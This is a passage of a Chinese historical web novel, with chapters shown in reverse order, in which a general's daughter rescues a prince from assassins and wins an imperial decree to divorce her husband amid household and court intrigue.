都说女子生产如同鬼门关走一遭,夫人便将那雪山灵参留给小姐当嫁妆,那可是千年雪参,便是手握千金也求之不得的圣品啊! 见月禾这般不舍的模样,姜云舒忍不住笑了。 “身外之物而已,我们只管好当下。” 这门亲事她都不要了,更何况孩子? 月禾依旧满脸不情愿,却也无从劝说,随着马车沈家,她便带了钥匙直奔库房。 翌日,清晨。 暖阳淡薄了春季的凉意,明媚洒落天地之间,似召唤一般,唤醒万物。 姜云舒比往常醒得早一些,梳洗装扮后,便上了前往皇宫的马车。 通往后宫的青砖路平坦悠长,红瓦高墙隔绝了皇宫的奢华与民间的烟火,高墙之内是权利的象征,代价却是整个人生。 姜云舒随着引荐宫女一路朝凤栖宫走去。 入殿,芷妃闭目倚在软塌上,脸上多了几分疲态。 “参见芷妃娘娘。”姜云舒上前行礼。 芷妃闻言微微睁开眼,朝她招招手,“难得你来看本宫。” 自定国将军府出事,姜云舒便再也没进过宫。 “芷妃娘娘恕罪。”姜云舒说着,将带来的锦盒递上前,“前几日整理库房,在我的嫁妆里找到这株雪山灵参,听我娘说,女子生产伤身,我便想着给芷妃娘娘送来,能滋补一二也是好的。” 雪山灵参是净灵山独有灵参,虽说不上活死人肉白骨,但也能在危急时刻吊住人命,只因地势凶险和生长环境苛刻,能留存人间的寥寥无几。 姜云舒手上这一株,还是出自萧陵国皇室,当年爹爹的战利品,因当时母亲生产在即,皇上这才特许他带了回去。 芷妃自是知道这株雪山灵参的来历,当下眸光一亮,面上也多了几分精气神。 “难得你这般用心。” 芷妃撑着坐起,目光在姜云舒脸上扫过,主动提及,“听说,沈清安回京,还带回了原配,你又该如何?” 六皇子遇刺之事被皇上压住,芷妃不知姜云舒这一趟是皇上授意,不过只从姜云舒自身思量,大概能猜出她的目的。 而姜云舒的真正目的,也正在此。 第28章 我要休夫 “民女不求赏赐。”姜云舒平静开口。 “不求赏赐……”皇上视线凝在她脸上,“你竟不为你爹娘求一道赦免圣旨?” 此言一出,姜云舒抬起头来,他迎着皇上的视线看去,眼神不避不闪。 “草民斗胆,想问皇上,当初定国将军府通敌证据呈交至皇上面前,您是生气更多,还是伤心悲痛更多?” 这个问题,直戳皇上心窝子。 那年,敬王谋朝篡位,是定国将军率兵攻破城门,将皇上推到了那个位置,亦是他心甘情愿做皇上手中利刃,在短短三个月内平定朝堂。 就在众人担心他功高盖主时,他却自请率兵镇守北域边境,这一走便是二十多年,期间,若非皇上强行召回,定国将军府一家鲜少入京。 皇上曾说过,只有定国将军在,他的皇位才可安稳,可就是这样的信任,却是以定国将军府通敌叛国落下帷幕。 生气,愤怒,还是伤心,悲痛,想来是都有的,可若要说哪个更多,皇上一时竟给不出答案。 皇上不回答,姜云舒便自行开口。 “听闻宫中娘娘们喜欢用凝露丸保养容颜,凝露丸中最主要的一位紫星草就是在黑土中生长,恰好,东城城郊这片林子便是黑土,若这百亩良田全都用来种植紫星草,一年收成便在二十万两,可紫星草抽穗时,会有花絮漂浮,引起幼儿肺淤,所以,那片林子一直未被开垦……” 她再次抬头,直面皇上,“皇上果真觉得,爹爹会因为那十万两的兵器而叛国?” 皇上似是没想到姜云舒会这般大胆直白,当即眉心蹙起,脸色沉了下来。 “既如你所说,他为何死犟不说?” 当初,皇上明明给了他辩解的机会,可他却认了。 姜云舒抿唇不语,她亦不知如何作答,每每给爹爹和阿娘去信,他们亦是闭口不提,她猜不出,亦不知这三年期间,北域究竟发生了什么。 两人面对面沉默半晌,终是皇上沉沉叹一口气。 “朕向来赏罚分明,如今你若开口用今日大功换你爹娘回京,也在情理之中。” 姜云舒猛然抬头,正与皇上此刻看过来的视线相撞,瞳孔不由微缩。 爹爹所犯实质罪名虽只是倒卖武器,可终究有通敌之嫌,若非定国将军府战功累累,便是抄家灭族,甚至株连九族都只在皇上一念之间,既往不咎,绝无可能。 姜云舒瞬间意识到,这是试探,皇上在试探她。 思绪在脑子里快速飞转,片刻,她轻轻摇头。 “我定国将军府一案,皇上心中早有定论,这是国事,我不应以个人功劳左右朝中局势。” “你倒是以大局为重,不过,如今你救了六皇子性命,不怕介入党争?”皇上眼睛眯起,原本威严的面上更多了一丝审视。 如今皇子之争,自在三皇子和六皇子之间,如今她救了六皇子,即便本意不在站队,却拦不住他人揣测。 话题敏锐,原以为姜云舒会紧张,岂料她只是抿唇轻轻摇了摇头。 “我以为,我救的只是皇室,不管马车内是哪位殿下,我都会出手,毕竟,他们都是皇上的血脉。” 她神情淡然,倒是叫皇上一时哑然。 “罢了。”皇上失笑,威严神情之中多了几分柔和,“朕再给你一次机会,你可以提一个要求。” “我要休夫。”姜云舒直截了当。 “休夫?”皇上诧异,随即想起什么,眉心微蹙,“你是因为沈清安原配失而复得?” 皇上虽在皇陵,却也听说了消息。 若是纳妾,或许还能阻拦,可那是原配,且不说姜云舒阻止高氏进府会被世人议论善妒不容人,便是皇上有意偏袒姜云舒,也不能强制官员抛妻弃子。 见姜云舒沉默,皇上沉沉叹一口气,“朕也不是不能理解你的处境,你若愿意,朕可下旨封她为平荣夫人,届时让她以平妻入府,待日后你有了自己的子嗣,更是无人能撼动你的位置,何不退一步?” 姜云舒看向皇上,清灵的眼中笑意稍显冷淡。 “当初,您是看着我出嫁的,沈清安承诺一生一世一双人,可如今违背承诺的是他,为什么却是要我退一步?” 从某种情感来说,姜云舒是将皇上当做长辈的,此刻,委屈难免控制不住,眼眶便跟着红了。 半晌,她似是缓了一口气,“我不会阻拦沈清安接原配进门,也不会放弃自己的底线,他想用功绩换取原配的名分,我亦可用功劳换自己的尊严。” 说着,她双膝弯曲,朝地上跪了下去。 “云舒求您成全。” “你这孩子。”皇上蹙眉,却是多了一份疼惜,“你知不知道,和离于你来说,究竟代表什么?” 父母流放,如今京城之中只剩她一人,脱离了夫家,她如何能在京城立足? “云舒明白,女子向来艰难,便是和离,也要通过断离桥,承受竹杖,甚至还要分出一半的嫁妆给夫家,所以我不是和离,而是休夫。” 姜云舒声音轻缓,却是字字句句带着不退不让的坚定,“我不想过断离桥承受竹杖之责,也不愿分出父母为我惊心备下的嫁妆,皇上既肯让我称您一声‘皇伯伯’,那就请您疼惜我。” 说完,重重地朝皇上磕了一个头,额头点地,倔强地没有抬起。 皇上低头看她,复杂神情自眸中闪过,片刻,长舒一口气。 “罢了,你都说到了这个份儿上,朕又如何不护着你。” 皇上伸手,将姜云舒拉起,又对候在门外的内侍公公吩咐一声。 “来人,拟旨。” 内侍公公紧忙上来伺候,待皇上写好圣旨,盖了印章,却并未着急交给姜云舒。 “若是没猜错,之前沈清睿呈上来的皇陵布防草拟图便是出自你手吧。”皇上不给姜云舒否认的机会,直接说明白,“其中布兵方式很有你爹的影子。” 皇上生性多疑,诸事要自行掌握,所以姜云舒给的布防图是草拟部分布防,其中留了关键空缺由皇上亲自布兵,这亦是姜兆霖多年与皇上相处中的习惯。 第27章 面圣 随行侍卫皆是高手,本应护驾无虞,可对方亦是高手,训练有素,招招致命,便是侍卫全力抵抗,依旧免不了被步步逼退。 月夜之下,刀剑寒光闪烁,血腥味弥漫。 缠斗之下,杀手死了两个,重伤两个,随行侍卫更是惨重,十几人的队伍如今只剩四个,艰难抵抗。 眼瞧着杀手的长剑朝着马车劈过来,此刻,黑夜之中一道寒光闪过,来不及看清,来人已经和黑衣人缠斗在一起。 来人正是段爷。 此处众人厮杀之际,而不远处的庄园,姜云舒和沈清睿正持账本对账,听得小厮一路喊着“出事了”,飞奔而来。 所报之事皆在姜云舒意料之中,此刻听得是皇室马车,沈清睿自是提刀而出。 “赵管事,你也集结庄园的伙计,带上农具火把一同前往,到时不必动手,只将声势壮起来。” 姜云舒吩咐一声,也跟了出去。 众人到时,黑衣人正与段爷缠斗,沈清睿大喝一声便要冲上去,却被姜云舒拽住。 “你去护在马车前面,便是拿命拼也要护住里面人物。”姜云舒吩咐他的功夫,示意月禾出手。 沈清睿和月禾应声而动,朝着缠斗之处飞奔而去。 姜云舒则是飞身上了不远处一棵百年垂柳,从她的位置细细观察。 不对。 这些所谓的“江湖人”出招狠厉阴辣,招招要人性命,不像是江湖人的做派,而此时,那看似首领的黑衣人同时与段爷和月禾缠斗时,曾几次出手锁喉,这一招式,像极了她曾见识过的锁龙爪。 他这招式刁钻歹毒,段爷和月禾一时间被拖拽消耗,竟有被压制的迹象,姜云舒蹙眉,正思量准备出手,此刻空中声音自耳边擦过,下一瞬,那黑衣人首领膝盖被暗器击中,身子猛地一晃,跪在了地上。 姜云舒猛然回头,月夜之下,一个人影急速闪过隐入一旁树林之中。 太快了,姜云舒都来不及追。 “丫头,还不现身!” 此刻,段爷朝姜云舒的方向喊了一句。 姜云舒收回视线,此刻,段爷已经钳住那黑衣人首领。 “敢截杀皇家的马车,胆子可真大,来来来,报上你家名号,看姑奶奶不捅了你们的老巢!” 月禾一边说着,两步到那黑衣人首领跟前,伸手“咔”的一下就给他下巴卸了。 段爷站在一边瞧着,嘴角狠狠地颤了颤。 不是,你倒是让他说啊,下巴卸了还怎么说? 姜云舒无奈叹一口气,转身朝马车方向,此刻,除了沈清睿,随行侍卫只剩两个,三人都受了伤,依旧举着剑死死护着那马车。 “民女姜云舒护驾来迟,还请殿下恕罪。” 即便早有猜测,但此刻还有沈清睿和侍卫,姜云舒自要装作不知情。 “姜云舒?” 车内声音传来,随后,车帘拉开,露出六皇子一张微微惨白的脸。 “幸好有你,否则后果不堪设想!” 说话间,他踉踉跄跄下车,沈清睿顾不得手臂受伤,过去扶。 “姜云舒,你怎么会在这里?”六皇子问话的同时,视线朝四处扫过。 虽说达不到血流成河的程度,但这遍地的尸体亦叫人倒吸一口凉气。 “距离此处不远的那片,是我名下庄园,我和我家二弟今日来核实账目,恰巧听得小厮汇报,得知是皇室马车,便紧忙过来护驾,万幸及时。” 提前准备的理由,让人找不出任何破绽。 沈清睿虽然有些懵懵的,但整件事对他来说的确合情合理,就像之前在皇陵护驾,姜云舒也是临时带他到了御前,他当时的位置,也正好为皇上挡了一剑。 他娘当时还不满姜云舒让他受了伤,可他的功勋,是拿命换来的,这让他有种莫名的踏实感。 六皇子闻言朝四处看,除了跟前这几个人,远处拿着火把和农具的十几号人,的确是干活的伙计。 毫无破绽。 “姜云舒,我要回宫,你们护送……” “六皇子,你不能回宫。” 姜云舒打断六皇子,“六皇子趁黑回城,想来是因为听说了芷妃娘娘被猫惊了胎气,宫内有动静,便有杀手在此埋伏,想来这场刺杀应是早有安排,此刻六皇子最好的选择是原路回皇陵。” 芷妃惊了胎气这事儿本应该秘密传信,可如今却是满城皆知,此时与六皇子遇刺联系起来,其中目的不难猜测。 “真是其心可诛!”六皇子攥紧了拳头。 自阴谋权诡之中长大,六皇子不难猜出是谁想在这个时候对他们母子发难。 “如此,便劳烦诸位护送本殿回皇陵,另外那活口,你……”他指了指沈清睿,“带上他,一同送到皇陵。” 一个时辰后。 原本富丽堂皇的马车,此刻再入皇陵已经支离破碎。 皇上听得通报,亲自迎出来,见六皇子身上无伤,才沉沉松一口气。 “查,给朕彻查!”皇上的脸色铁青,难看到了极点。 侍卫统领领命将那活口带走,皇上抬头瞧见姜云舒,眼底闪过一抹复杂。 “你,随朕进来。” 姜云舒眼皮不着痕迹的跳了一下,随着皇上进入明正内殿。 “草民姜云舒参见皇上。” 姜云舒上前行跪拜礼。 皇上看她,威严眉目之间,不由得多了一丝不悦。 “怎么,如今你连一声‘皇伯伯’都不肯叫了?这是在与朕怄气?” 定国将军与皇上情同兄弟,虽君臣有别,但对于年幼的姜云舒来说,他只是一位和蔼的伯伯,而皇上也对“皇伯伯”这个称呼,很受用。 “民女不敢。”姜云舒的头更低了些。 皇上看着她,半晌,沉沉的叹一口气。 “起来吧!”皇上摆摆手,不再纠结刚才的话题,“今日到底怎么回事。” “民女不知,只听到皇室马车遇袭,便带人出来护驾,万幸救下六皇子。” 姜云舒这套说辞早就打好了腹稿,便是在向来多疑的皇上面前,亦无懈可击。 段爷的消息来源,无从查证,皇上也无从查证她的用心。 都是巧合。 巧合之中,她救了六皇子。 “此事,你大功一件,你想要如何赏赐?” 皇上的视线落在姜云舒身上,似是审视又似是思量。 第26章 夜袭 姜云舒睨着他,微微勾起的唇畔尽是嘲讽。 沈清安把她所做,当成是讨好他? 这人的脸皮厚到一定程度,便没了自知之明,她姜云舒生来十八年,还不知“讨好”是个什么东西! “沈大人安排高氏与我同行,那她又是以何种身份出现在众人视野之中呢,管事还是仆役?”姜云舒看向沈清安,手中持的鞭子不由得拽紧了几分。 即便高芝兰是沈清安的原配正妻,可姜云舒才是众人眼中的沈家夫人,这抛头露面的事,总得有个明确的身份。 “你……芝兰是我原配正妻,岂能是仆役管事!” 沈清安当即轻叱一声,可迎上姜云舒的眼神,不知为何,心口一缩,尚来不及说什么,只听姜云舒再次开口。 “沈大人想要为高芝兰争个好名声,不如另设粥棚,我虽不屑争名,却也不至于自甘轻贱,上赶着讨好别人。” 她抬头,迎着沈清安的视线看去,清晨的风微凉,吹得人眼眶发红。 沈清安见她这般,只当她是委屈,正要态度放软,却见她抬头向前,吐出两个生冷的字。 “让让!” 说完,径自从他身边走过。 沈清安尚未出口的话一下子顶到了嗓子眼,脸色一阵黑一阵白。 “呵,好,姜云舒,你可真是好样的!”沈清安咬牙瞪眼,“我这便去京兆府调出婚书,待我以功绩为芝兰求得正妻之位,届时你再求我也无用!” 官员婚书收录在案,沈清安若要妻位易主,只能过明路。 至于皇上那边,沈清安自诩功高,以功绩为原配争得名分不会是难事,届时得了皇上首肯,姜云舒不管是平妻还是贵妾,只听他这一家之主的一句话。 说完,沈清安恶狠狠地瞪了姜云舒一眼,拂袖离开。 “他这是要休妻?他怎么敢!这简直是奇耻大辱!”月禾气恼得眼眶泛红,“小姐,您就让我掀了这沈家,真是气死我了!” 她家小姐可是将军和夫人捧在手里的眼珠子,虽不若别家千金贵女在后院娇养,自小也是集万千宠爱于一身,何时受得这般窝囊气! 只要她一声令下,便是和那赤羽卫拼了命,也要出这口恶气! “你动手,岂不是正好给了他们将我们扫地出门的正当理由?现在,还不是我们离开的时候。”姜云舒调理气息,强行压下心口的怒意,吩咐道:“你先去备车,我们这便出门。” “小姐,我们也去京兆府?”月禾眼中闪过兴奋。 “不,锦州灾民逐步抵京,此时就算去京兆府也见不到京兆尹。”姜云舒微微侧目。 “那我们去哪里?”月禾不解。 “之前段爷传来消息,今早东城城郊有江湖人踪迹。”姜云舒道。 “东城城郊……那不是皇陵的方向?” 月禾蹙眉思索瞬间便想到了其中联系,眼中不由多了几分机警,“难不成这些江湖人与之前皇陵刺杀有关?” 姜云舒漆黑的眸子如一汪清潭,明亮却又不见底。 说话的功夫,二人上了桥廊,四处无人,姜云舒压低了声音。 “听说芷妃昨夜被猫惊了胎气,六皇子向来孝顺,想来皇上必定会批准他回宫探望。” “那岂不是……”月禾惊得瞪大了眼睛。 “如你所想。”姜云舒微微点头,“你说,用六皇子一命换一道休夫圣旨,皇上会不会给我?” 世间诸多不公,便是这大瑞朝的律法,亦是对女子的压制。 沈家是一定要离开的,但自己的东西也绝不能分出去,姜云舒要的是带着自己的嫁妆昂首挺胸走出他沈家。 “自然是会给的!六皇子刚办好了江洲的差事,此刻正得圣心,别说休夫,便是……” 月禾的话说到一半停下,一双眼睛神采奕奕的看向姜云舒,“小姐,若是此刻提及让老将军回京,是不是……” “想什么呢!” 姜云舒伸手点在月禾额头,“咱们这位皇帝向来疑心重,恰到好处的请赏,他自会表现出仁君之度量,可一旦得寸进尺,让他窥得其野心,那便适得其反。” 她的手顺着月禾的眉心滑到发间,轻轻将垂落在她头上的花瓣掸去。 “崖州那边,我们只管将银子送去,父亲自能掌控全局。” 月禾点头,伸手握住脖颈上的坠子,那是她爹亲手磨的平安牌。 说话间,两人已经到了沈府门口,上车前,姜云舒扭头朝门仆吩咐一声,“二爷回来后,让他去东城庄子上来一趟。” 虽说沈清睿也是沈家人,但这孩子有良心,她不介意带带他,当然,更重要的是,他有用。 夕阳西落,晚霞映日。 日落依稀,一亮装潢华丽的马车自皇陵正门驶出,朝皇城方向极速而行。 京城之下,便是城内也要一个时辰的车程,马车晃晃悠悠行驶平稳,绕过护城河时,天色已经黑了彻底,此刻,正是夜黑风高之际。 “什么人!” 飞落的黑衣人挡住马车前行的道路,车夫猛拉缰绳控制住马车,下一瞬,飞箭离弦的声音擦过耳边,乱箭便朝着马车飞了过来。 兵器碰撞的尖锐声音撕裂破庙周边的寂静,血腥味快速蔓延开来。 车夫被射成筛子,摔下马车。 乱箭飞来的瞬间,他甚至都来不及一声惨叫直接闭了气,便是拉车的马匹亦是拖行百米之后,轰然倒地。 装潢华丽的马车,眨眼的功夫便如同扎满了糖葫芦的草把子。 “有人要买车内贵人性命,你若乖乖赴死,自能免受痛苦。” 黑夜之中,那声音鬼魅似来自阴曹,随后几个黑衣人腾空而起,落于破庙墙上。 日头已经彻底沉落,黑暗吞噬了那天边的晚霞,夜风自破庙之间呼啸,更添了一丝沉闷的死气。 “大胆狂徒,今日定叫你们有来无回!” 随行侍卫怒喝一声,齐齐围在了马车四周,誓死护主。 “负隅顽抗,你们既敬酒不吃,那便莫怪我等下手无情。” 话音落,黑衣人手中剑刃寒光闪过,齐齐朝着马车而来,霎时,众人缠斗一起。 第25章 软饭硬吃 日落西山晚霞映红。 姜云舒回到沈家时,天已经擦黑。 此刻,沈清安已经在揽芳院等待她多时。 “这么晚了,沈大人找我有事?”姜云舒蹙眉开口。 沈清安似是喝了些酒,抬头看向姜云舒,眉心习惯性蹙起。 “姜氏,你还知道回来?就是因为你,母亲急火攻心,你可知错!” “我自认为从未做过有违老夫人心意之事,何来让她急火攻心?” 姜云舒抬脚走了进来,抬头,视线迎上沈清安,“沈大人若要将老夫人发病之事强加在我身上,那我倒是要问大人要一个正当理由。” 她身形比沈清安娇小,可眼中的肃冷之气却让沈清安莫名生出一股子寒凉之意。 就是这种感觉,明明身后早已没了依靠,她又何来的傲气! 这种女人,真是让人喜欢不起来。 “你若没有遣散沈府下人,母亲如何急火攻心!” 他怒视姜云舒,眼底一片阴寒。 明明是他忘恩负义,理亏不仁,如今却在怒气冲冲地质问姜云舒,那满腔的愤怒,仿佛只剩怨怼。 姜云舒始终都想不明白,明明当初是两情相悦,为什么会让他生出这般怨恨。 他凭什么怨恨? “那些奴仆,原本就是我从庄子上调过来的,当日沈大人也在,我话说得清楚,自库房钥匙交出,沈家大小事宜皆不过我手,我亦没必要再拿自己的嫁妆添补亏空,怎么,我做事干脆反而成了错?” 老夫人发病是因为姜云舒不假,可姜云舒交出中馈撤走自己的人也没错,毕竟,没有哪家大门户敢让女方嫁妆充公的。 一时间,气氛僵住。 “你毕竟是我沈家人,即便不再掌管后宅诸事,可当时便抽离这么多下人,芝兰自是一时反应不及,难免混乱,你……” “呵,你们也没给我反应的时间啊。”姜云舒直接打断他,“刚回府两日,沈大人便带高夫人登门官员府上,更是迫不及待从我手上收回中馈,相比之下,你的动作比我还要快。” “所以,你便用这种方式来表达不满?” 沈清安蹙着眉头,朝姜云舒走近,他身形高大,此刻低头,居高临下的看着姜云舒,气压逐渐降低。 “姜云舒,你想用这种方式引起我的注意,我可以理解,但你若因此做出对沈家不利之事,我沈家定不能容你,你最好看清楚你如今的位置。” 一个女子,没有娘家做依仗,又为夫家所不容,那便真真没了活路。 沈清安自认为,他是可以拿捏姜云舒的。 姜云舒微微仰头看他,迎着那高高在上的姿态,忍不住轻笑出声。 “沈大人大可不必担心,我这人向来不喜欢热脸贴人家的冷屁股。” 强扭的瓜她尝了,不甜,那便扔掉,何必忍着作呕强行咽下? “姜云舒,欲擒故纵,并非聪明之举。” 他警告般盯着姜云舒,自以为是给姜云舒台阶,然而,抬头却见姜云舒勾起的唇角带着讥讽,顿时生出一股子恼羞的愤怒。 “呵,将门之女,还真是铮铮傲骨,我倒要看看,你的骨头有没有你的嘴硬!” 一个没有娘家依仗的女人,若不能讨得夫君欢喜,这辈子也就没了指望,便是姜云舒,又能硬气到几时? 说完,他拂袖而去。 沈清安刚走,月禾便进了屋,关上门便忍不住啐了一口。 “呵,还想软饭硬吃,臭不要脸的狗东西,给他脸了!” 姜云舒心口也顶着一口气,不过,相比月禾的即时宣泄,她的愤怒更倾向于在谋划中消化。 “昨日冥风传来消息,锦州遭水灾,此时有大批灾民正朝京城奔来。”她又说。 “嗯?” 月禾没想到她话题偏得这样远,停顿了瞬间才反应过来,应道:“是,依照灾民行进速度,这几日便到京城地界了,小姐可是要开设粥棚?那岂不是太便宜这狗东西了!” 这三年,姜云舒以沈家的名义开设粥棚救济灾民,白白给沈清安博了好名声,如今已经看清他豺狼的本性,何苦再便宜他? “傻子,这样的人家,哪里还值得我付出分毫?如今再做,自然是为了我自己。” 姜云舒将杯盏放置桌面,面上多了几分认真,“我大瑞律法,便是夫妻和离,女方要先通过断离桥,承受竹杖,再分出一半的嫁妆给夫家,我要离开沈家,却不想吃这亏,自然得提前筹谋。” 月禾似是被点醒,认同地点点头。 “老夫人那边……”姜云舒低头抿一口茶,“两日后,归心丸也该用完了,届时让吉祥在老夫人耳边提醒几句。” 战场多诡术,这离间之计,姜云舒还是第一次用在内宅。 清晨,天朗气清。 自那日不欢而散,再与沈清安见面,已经是三日之后。 姜云舒收拾妥当正欲出门前去城门口监督施粥,却见沈清安急匆匆而来。 “你这是要出门?” 相比之前表情沉冷,这一次,沈清安脸上倒是带了笑模样,“听说,你在城门口设了粥棚?” 便是京城地界,总有穷苦百姓过冬艰难,不管是为了沈家还是定国将军府,姜云舒每年冬季都会开棚施粥。 粥棚是姜云舒设的,好名声却是沈家的,众人都知道沈清安在外治理水患,亦不忘救助京城百姓。 好名声口口相传,加之水患治理功绩,沈清安的官途甚至比同期的状元都要顺畅。 “嗯。”姜云舒不咸不淡的应了一声,“我未从公中拿粮,施粥所用皆是我庄子上产的粮食。” 这粥棚不是沈家的,而是她个人的。 沈清安明白也只当没听见,眉梢扬起,似是欣慰一般点点头。 “我知你向来识大体,你既肯为讨好我做此努力,我自应给你个台阶。” 他瞥了姜云舒一眼,清了清嗓子,“不过,粥棚诸事繁多,我跟芝兰说过了,让她协助你管理。” 这样一来,高芝兰也能挣得一个好名声,为之后入府做主母铺垫。 后面这句话,沈清安没有直白说出来,可意思已是再明显不过。 第24章 人间活阎王 “要,自然是要的!” 高芝兰咬了咬牙,从怀里掏出几张银票递过去,“我要两颗。” 之前老夫人吃了一颗,已经缓过来了,杨大夫说后面还要吃七颗,大抵是用来巩固药效。 沈家这老太太向来虚荣,大概是听说京城高门后宅的老夫人们服用,所以才觉得这个药神奇,其实也并非无可替代。 之前高芝兰也拿过老夫人用完的归心丸的蜡封盒子,不过是滋补的药材,只凭所用药材和药理,与她岩城药铺的镇店之宝舒气丹相差不大。 能给买上两颗归心丸已经是咬着牙了,后续用舒气丹替上,她不说,没人知道。 韩掌柜不语,验了银票便转身取了两颗归心丸交给了高芝兰。 二楼雅间。 姜云舒和月禾吃着糕点喝着茶,眼瞧着高芝兰买了两颗归心丸离开,月禾不由得疑惑。 “不是说要连用七丸,这高氏怎的就买了两颗?” 姜云舒低头抿一口茶,清茶回甘,她微微眯起眼睛。 “她是做药材生意的,自然也懂得再好的药,救命的永远是第一颗,这么高的价格,她便是再想表现,也得要斟酌手里的银钱。” “可既然这样,小姐又何必特意吩咐杨大夫,让他说要连用七日?”月禾又不解了。 “我自然是要探她的底。” 说话间,姜云舒朝楼下努努嘴,示意月禾自己看。 月禾侧了侧身子,就见刚出仁春堂的高芝兰竟是从角门离开的,她的衣袖掩盖之下,裙腰处鼓鼓囊囊,显然是偷偷藏了什么。 “那是……归心丸用来密封的蜡皮丸?”月禾惊呼一声,恍然道:“难不成,之后剩下的五丸,她要用假药冒充?” 姜云舒眼皮挑了挑,低头喝茶不置可否。 根据之前裴钰查到的消息,高芝兰能参与崔氏的药材生意,是因为她手上有几副药材的秘方,别家秘方,姜云舒不甚了解,但其中一种秘药名叫舒气丹,让她有种似曾相识的感觉。 令人深思的意味深长。 两人正说着话,眼前晃过一个人影,月禾正要出手,就见裴钰那张脸倒挂着从窗户外面探了进来。 “嘿,你果然在这里。”裴钰一翻身从窗户跳了进来。 “堂堂国公府世子,你就不能走个正门吗?再翻窗,我便在窗户框上下毒。”姜云舒没好气。 别的地方不说,就单这一扇窗户,就被裴钰踢废了四次。 窗户招谁惹谁了! “别啊!” 裴钰紧忙赔笑,过来伸手捻起一块百灵酥,一边吃说道,“你猜我这次收到什么消息?渊政王府要送质子来京了!” 姜云舒:“……” 她猜的速度都赶不上他自己公布答案的速度。 要不下次别猜了呢? “质子?” 姜云舒放下手中杯盏,收回思绪,神情变化之间,眼底浮现丝丝复杂。 自定国将军府倾塌,大瑞国四周边境又开始蠢蠢欲动,当今皇后骁勇,东越边境是她亲自布局,尚且稳定,南侧南疆王府镇守多年,边境滋扰亦不足为患,如今只有镇守西侧的渊政王府存在变数。 说起来,渊政王生性好战,是当初皇室夺嫡之战中,唯一手握兵力却没有参与其中的皇室王爷,更是在当今皇帝登基后,自请迁府去了西晋边境,此去十多年,若非皇上召唤,几乎从未回过京城。 可即便如此,皇上似乎也从未对这位胞弟放下戒备。 太后薨逝,渊政王府回京,明面上说是奔丧,实际却是送质子入京,倒是符合皇上生性多疑的性子。 说起来,送质子回京不算什么让人意外的消息。 见姜云舒反应平淡,裴钰又忍不住卖关子,“那你猜猜,这次入京的质子是谁?” “除了那位二世祖的谢怀琛,还能有谁?说起来,春日过半,他也该来京城看望渊政王府那位瑾太妃了。”姜云舒不假思索回答。 听说,渊政王府和瑾太妃母子不和,当年渊政王迁府到边境,也有一部分原因是被这位瑾太妃逼走的。 渊政王非传召不得回京,倒是渊政王府那位安侧妃生的郡王谢怀琛每年来京城看望老太妃。 既然渊政王府是送质子回京,想来谢怀琛应是不二人选了。 “你也有看不破的局面。”裴钰难得见姜云舒猜错,当即得意得摆了摆手,“来的不是谢怀琛,而是渊政王府世子,谢无烬。” “怎么会是他!”姜云舒脸色微沉。 倒不是因为猜错,而是,这事不合理。 谢无烬可是西晋边境的杀神,当初大瑞动乱,西晋几次趁机试图进犯,都是谢无烬率兵退敌,皇上掌控全局,自然明白此刻边境安定的重要性,怎么可能会抽离主将让谢无烬回京? “啧!”裴钰叹一声。 他不知道姜云舒思量的是边境布局,只当她因为自身原因犯愁。 “不怪你发愁,我都替你捏一把汗,听说这渊政王府世子向来睚眦必报,当初你退了与他的婚约,让他失了面子丢了大人,如今他进京怕是不会让你好过。” 越说,这口气叹得越沉。 “听说,西晋边境都称他人间活阎王,到底是沙场染血之人,我是打不过他,要不,我让我爹给你安排几个暗卫?”裴钰怂得很客观。 “怎的,我才入深宅三年,你便忘了我的枪头也尽染北夷人的血?”姜云舒将杯盏放下,扭头看他。 裴钰抬眸猛地与姜云舒视线相遇,有一瞬间,他被姜云舒那眼神看得心中一紧。 是被猎杀者盯住的眼神。 他怎么会忘,姜云舒十四岁时,便率奇袭部队探入北夷军内部,还缴获了北夷三皇子手下副将人头。 不过,虽是立功,却是私自行动,定国老将军将这事儿瞒了下来,别不人知道,但姜云舒给裴钰写信时朝他炫耀,他再清楚不过。 听她这样说,裴钰咋舌的声音就更大了。 “我怎么感觉,往后这京城不能太平了呢!”他撇撇嘴。 一个混世魔王,一个人间活阎王,两人还有仇,这要是对上……啧啧,想想都刺激。 第23章 天价归心丸 吉祥没动,只是看向沈清安,同样一脸为难。 “方才奴婢就让红杏去请了,可夫人出门,没人知道去了哪里。” 到底是老夫人身边的大丫鬟,吉祥办事向来稳妥,可稳妥也没用,找不到姜云舒,什么都白说。 “相公,不如我去买吧。”高氏在一旁看了许久,恰逢时机开口,“母亲将中馈交付于我,便是对我的信任,此刻关乎母亲身体,我自当亲力亲为。” “夫人……” 沈清安感动,当即让高芝兰从库房领银子。 高芝兰此刻正需表现自己,当着全府上下表明,这药她孝敬老夫人,自掏腰包。 再贵也不过几百两,咬咬牙,也能舍得。 仁春堂。 此刻姜云舒正和月禾坐在二楼雅间吃点心。 “东家,这是韩掌柜新配的百灵酥,您尝尝。”小二将一叠精致的糕点送到跟前。 仁春堂韩掌柜,姜云舒评价他是个专攻草药的厨子,日常就爱用药草配置做点心。 不得不承认,韩掌柜的手艺的确不错,做出的糕点精致又美味,最重要的还有温补养神的功效。 “新品啊,那可要尝尝!” 姜云舒伸手捻起一块,糕点入口即化,满口留香。 啊,人间美味! 月禾见状也迫不及待地拿了一块,只一口便不由得眯起眼睛。 “嗯,好吃,不得不说……” 话还没说完,就听楼下熟悉的声音传来。 “老板,你这里可有归心丸?” 这声音传来,姜云舒和月禾同时歪头,果然,高芝兰此刻正在楼下。 姜云舒低头抿一口清茶,朝小二摆摆手。 “去庆王府送个信儿,虞太妃订的归心丸到了。” “是,小的这就去!” 小二应声,转身退了出去。 “哟,夫人面生,不是京城人吧。” 韩掌柜似寻常客接待,说话间,视线在高芝兰身上扫过。 这便是沈家找回来的那位原配夫人? “听说整个京城只有仁春堂能买到归心丸,可是当真?” “夫人是懂门路的。不过,你既知道门路,也应该知道,归心丸用药奇特,制作条件苛刻,便是仁春堂,每年归心丸数量有限,你若是……” “掌柜的,你可别瞧我不是京城人便唬我,药材这块,我也略通一二,归心丸所用虽是奇珍异草,也绝非常人不能及。” 说话间,高芝兰拿出三个银元宝往桌上一放,微微昂起头,“开药铺做的是买卖,银子够了,便是太上老君的金丹也能奢望一二,更何况是归心丸,三百两,可够?” 三百两银子,便是一株千年人参也就这么价了。 韩掌柜垂眸瞧了一眼桌上那一百两的银元宝,眼皮微微挑了挑。 这点银子,属实不够看。 韩掌柜不语,抬头瞧见远处急匆匆走来的人,唇角勾了起来。 “韩掌柜!” 这时,一个穿着缎面衣衫的男人疾步进门,打断了高芝兰。 “听说归心丸到了?虞太妃差小的来取药。” 